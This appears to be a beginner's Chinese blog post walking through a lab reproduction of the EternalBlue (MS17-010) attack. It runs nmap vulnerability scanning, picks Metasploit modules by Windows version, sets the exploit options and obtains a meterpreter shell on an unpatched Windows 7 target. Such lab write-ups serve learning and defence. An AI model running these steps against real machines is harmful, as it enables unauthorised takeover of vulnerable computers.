Windows永恒之蓝漏洞复现

实验环境

攻击机：kali linux 192.168.1.156

目标机：Windows7 192.168.1.159

要求：未安装ms17-010漏洞补丁，未开启防火墙

开始

扫描目标是否存在ms17-010漏洞

使用nmap 对目标进行扫描

过程可能有点慢 -.-

nmap -T4 --script vuln 192.168.1.159

当出现这写东西的时候证明成功了 （奖励一朵小红花❀）

大概意思就是该系统有ms17-010漏洞，危险因素：高；状态：易受攻击

开始第二步

启动msf

┌──(root㉿kali)-[~]
└─# msfconsole

查找一下ms17-010漏洞

search ms17-010

如果是win2003/winxp系统，就用exploit/windows/smb/ms17_010_psexec

如果是win7/win2008系统，就用exploit/windows/smb/ms17_010_eternalblue

如果是win8/win8.1系统，就用exploit/windows/smb/ms17_010_eternalblue_win8

使用方法是use+对应模块

我这是win7系统所以就是

use exploit/windows/smb/ms17_010_eternalblue

好的！我们已经进入到这个模块了 （再次奖励一朵小红花❀）

第三步 查看该模块属性

show options

对这两个属性进行配置

Rhost:目标主机ip

Rport:目标端口 也就是445

第三个本地ip按理来说不用配置，但是我不配置就会失败不知道什么原因😫

管他呢配置了也没什么问题😕

第四步 启动攻鸡 （小红花缺货暂时没有了/(ㄒoㄒ)/~~）

经过一系列吊炸天的过程，我们得到了meterporeter的回话，这时候我们就掌握了这台电脑了

什么？你说你不信？(╯▔皿▔)╯

我们直接输入shell这把你看看是不是获得了这个win7的控制权限？

我们来输入ipconfig来试一试

啊这.....先别管乱码，你就说成功没1

输入chcp 65001解决乱码

好了，问题解决了

后续的命令就看你自己的了，因为我也是新手，一点点写博客积累经验

我相信总有一天我会从菜鸡变成伟大的菜鸡！！！！！！！！